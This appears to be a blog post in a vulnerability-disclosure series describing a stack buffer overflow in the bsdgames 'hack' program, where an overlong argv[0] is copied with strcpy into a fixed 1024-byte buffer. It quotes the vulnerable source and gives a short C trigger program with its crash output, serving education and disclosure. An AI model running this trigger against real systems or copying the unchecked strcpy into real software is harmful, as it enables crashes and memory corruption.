InfoSect's Month of Pointless Bugs (#15)

Dr Silvio Cesare

InfoSect, Canberra's hackerspace, regularly runs public group sessions to perform code review and vulnerability discovery. Over the next 30 days, I'll highlight the source code of 30 unknown vulnerabilities.

Bug #15

This is an interesting stack overflow with a long argv[0] string. argv[0] is typically the program name of the process/executable, but can be attacker controlled. The code below assumes argv[0] is related to a pathname max len of 1024, which is incorrect in any case on modern filesystems, but is in fact not related to pathname lengths at all.

bsdgames/hack/hack.main.c

int
main(argc, argv)
        int             argc;
        char           *argv[];
{
        int             fd;
#ifdef CHDIR
        char           *dir;
#endif

        /* Check for dirty tricks with closed fds 0, 1, 2 */
        fd = open("/dev/null", O_RDONLY);
        if (fd < 3)
                exit(1);
        close(fd);

        hname = argv[0];

+++ hname = argv[0]

...

        /*
         * Find the creation date of this game,
         * so as to avoid restoring outdated savefiles.
         */
        gethdate(hname);


bsdgames/hack/hack.unix.c

void
gethdate(name)
        char           *name;
{
#if 0
        /* old version - for people short of space */

        char *np;

        if(stat(name, &hbuf))
            error("Cannot get status of %s.",
                (np = strrchr(name, '/')) ? np+1 : name);
#else
        /* version using PATH from: seismo!gregc@ucsf-cgl.ARPA (Greg Couch) */


        /*
         * The problem with   #include  <sys/param.h>   is that this include fil
e
         * does not exist on all systems, and moreover, that it sometimes includ
es
         * <sys/types.h> again, so that the compiler sees these typedefs twice.
         */
#define         MAXPATHLEN      1024

        const char           *np, *path;
        char            filename[MAXPATHLEN + 1];
        if (strchr(name, '/') != NULL || (path = getenv("PATH")) == NULL)
                path = "";

        for (;;) {
                if ((np = strchr(path, ':')) == NULL)
                        np = path + strlen(path);       /* point to end str */
                if (np - path <= 1)     /* %% */
                        (void) strcpy(filename, name);

+++ buffer overflow since we control name which is argv[0]

                else {

To trigger this crash..

cat /tmp/trigger/hack_overflow.c

#include <unistd.h>
#include <stdlib.h>
char buf[1500];
int
main(int argc, char *argv[], char *envp[])
{
 char *myargv[] = { buf, NULL };
 setenv("PATH", ":hi", 1);
 for (int i = 0; i < sizeof(buf); i++)
  buf[i] = 'A';
 buf[sizeof(buf) - 1] = 0;
 execve("/usr/games/hack", myargv, envp);
}

Silvio@kali:~$ gcc /tmp/trigger_hack_overflow.c -o /tmp/trigger_hack_overflow
silvio@kali:~$ /tmp/trigger_hack_overflow 
*** buffer overflow detected ***: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x70bfb)[0x7fd6d8eddbfb]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7fd6d8f661e7]
/lib/x86_64-linux-gnu/libc.so.6(+0xf7320)[0x7fd6d8f64320]
/lib/x86_64-linux-gnu/libc.so.6(+0xf6682)[0x7fd6d8f63682]

Comments

Popular posts from this blog

NetBSD kernel wscons IOCTL vulnerable bug class

InfoSect's Month of Pointless Bugs (#1, #2)

InfoSect's Month of Pointless Bugs (#3)